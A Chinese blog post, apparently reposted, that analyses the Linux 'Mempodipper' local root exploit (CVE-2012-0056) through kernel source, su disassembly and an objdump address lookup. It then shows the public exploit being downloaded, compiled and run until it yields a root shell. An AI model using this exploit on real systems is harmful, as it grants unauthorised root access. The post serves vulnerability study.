Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056) |
本文标签:Linux>=2.6.39,Mempodipper本地提权 Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056) 复制代码 代码如下:static int mem_open(struct inode* inode, struct file* file) { file->private_data = (void*)((long)current->self_exec_id); file->f_mode |= FMODE_UNSIGNED_OFFSET; return 0; } 任何人都可以打开/proc/pid/mem fd 的任何进程写入 和读取,不过,有权限检查限制 。让我们看看写功能: 复制代码 代码如下:static ssize_t mem_write(struct file * file, const char __user *buf, size_t count, loff_t *ppos) { struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode); mm = check_mem_permission(task); copied = PTR_ERR(mm); if (IS_ERR(mm)) goto out_free; if (file->private_data != (void *)((long)current->self_exec_id)) goto out_mm; 看代码有两个检查,以防止未经授权的写操作: 复制代码 代码如下:check_mem_permission和self_exec_id 。 Check_mem_permission的代码只需调用到__check_mem_permission,代码: static struct mm_struct *__check_mem_permission(struct task_struct *task) { struct mm_struct *mm; mm = get_task_mm(task); if (!mm) return ERR_PTR(-EINVAL); if (task == current) return mm; if (task_is_stopped_or_traced(task)) { int match; rcu_read_lock(); match = (ptrace_parent(task) == current); rcu_read_unlock(); if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH)) return mm; } mmput(mm); return ERR_PTR(-EPERM); } 有两种方法能对内存写入 。 复制代码 代码如下:$ su "hsmw fuck you" Unknown id: hsmw fuck you 可以看到su的stderr 的输出“Unknown id:”,我们可以fd 打开/proc/self/mem, 来确定在内存中的位置, 然后dup2 stderr 和mem fd, 把su $shellcode 写入到内存中,获得root. 已task == current测试, 用self_exec_id 匹配self_exec_id 来检测fd 的打开 。 Self_exec_id在内核中只引用的少数几个地方 。 void setup_new_exec(struct linux_binprm * bprm) { current->self_exec_id++; flush_signal_handlers(current, 0); flush_old_files(current->files); } EXPORT_SYMBOL(setup_new_exec); 我们创建一个子进程,用self_exec_id来exec 到一个新的进程里面 。当我们exec一个新的进程,self_exec_id会产生一个增量 。这里程序忙与execing到我们的shellcode写su,所以其self_exec_id得到 相同的值递增 。所以我们要做的是把exec一个新的进程,fd /proc/parent-pid/mem 到父进程的PID 。这个时候的FD是因为没有权限仅仅打开检查 。当它被打开,其self_exec_id来时起作用,把我们exec来su,用self_exec_id将递增 。通过我们打开的FD从子进程返回父进程,dup2,和exec 溢出代码到su. 接下来调试溢出的地址和ASLR随机进程的空间地址 。 在这里得到错误字符串: 403677: ba 05 00 00 00 mov $0x5,%edx 40367c: be ff 64 40 00 mov $0x4064ff,%esi 403681: 31 ff xor %edi,%edi 403683: e8 e0 ed ff ff callq 402468 (dcgettext@plt) 然后把它写入到stderr: 403688: 48 8b 3d 59 51 20 00 mov 0x205159(%rip),%rdi # 6087e8 (stderr) 40368f: 48 89 c2 mov %rax,%rdx 403692: b9 20 88 60 00 mov $0x608820,%ecx 403697: be 01 00 00 00 mov $0x1,%esi 40369c: 31 c0 xor %eax,%eax 40369e: e8 75 ea ff ff callq 402118 (__fprintf_chk@plt) 关闭日志; 4036a3: e8 f0 eb ff ff callq 402298 (closelog@plt) 退出程序; 4036a8: bf 01 00 00 00 mov $0x1,%edi 4036ad: e8 c6 ea ff ff callq 402178 (exit@plt) 这里可以看到0×402178,这是它调用exit函数 。我们来调试“Unknown id:" 的shellcode地址 。 $objdump -d /bin/su|grep <exit@plt>|head -n 1|cut -d -f 1|sed s/^[0]*\([^0]*\)/0x\1/ 0x402178 它会设置uid 和gid 为0 去执行一个SHELL 。还可以重新打开dup2ing 内存之前,stderr fd 到stderr, 我们选择另一个fd dup stderr,在shellcode,到我们dup2 ,其他fd回来到stderr 。 EXP 老外写好了 。插入一段 复制代码 代码如下:wget http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c CVE-2012-0056 $ ls build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s CVE-2012-0056 $ gcc mempodipper.c -o mempodipper CVE-2012-0056 $ ./mempodipper =============================== = Mempodipper = = by zx2c4 = = Jan 21, 2012 = =============================== [+] Waiting for transferred fd in parent. [+] Executing child from child fork. [+] Opening parent mem /proc/6454/mem in child. [+] Sending fd 3 to parent. [+] Received fd at 5. [+] Assigning fd 5 to stderr. [+] Reading su for exit@plt. [+] Resolved exit@plt to 0x402178. [+] Seeking to offset 0x40216c. [+] Executing su with shellcode. sh-4.2# whoami root sh-4.2# 摘自 混世魔王博客 |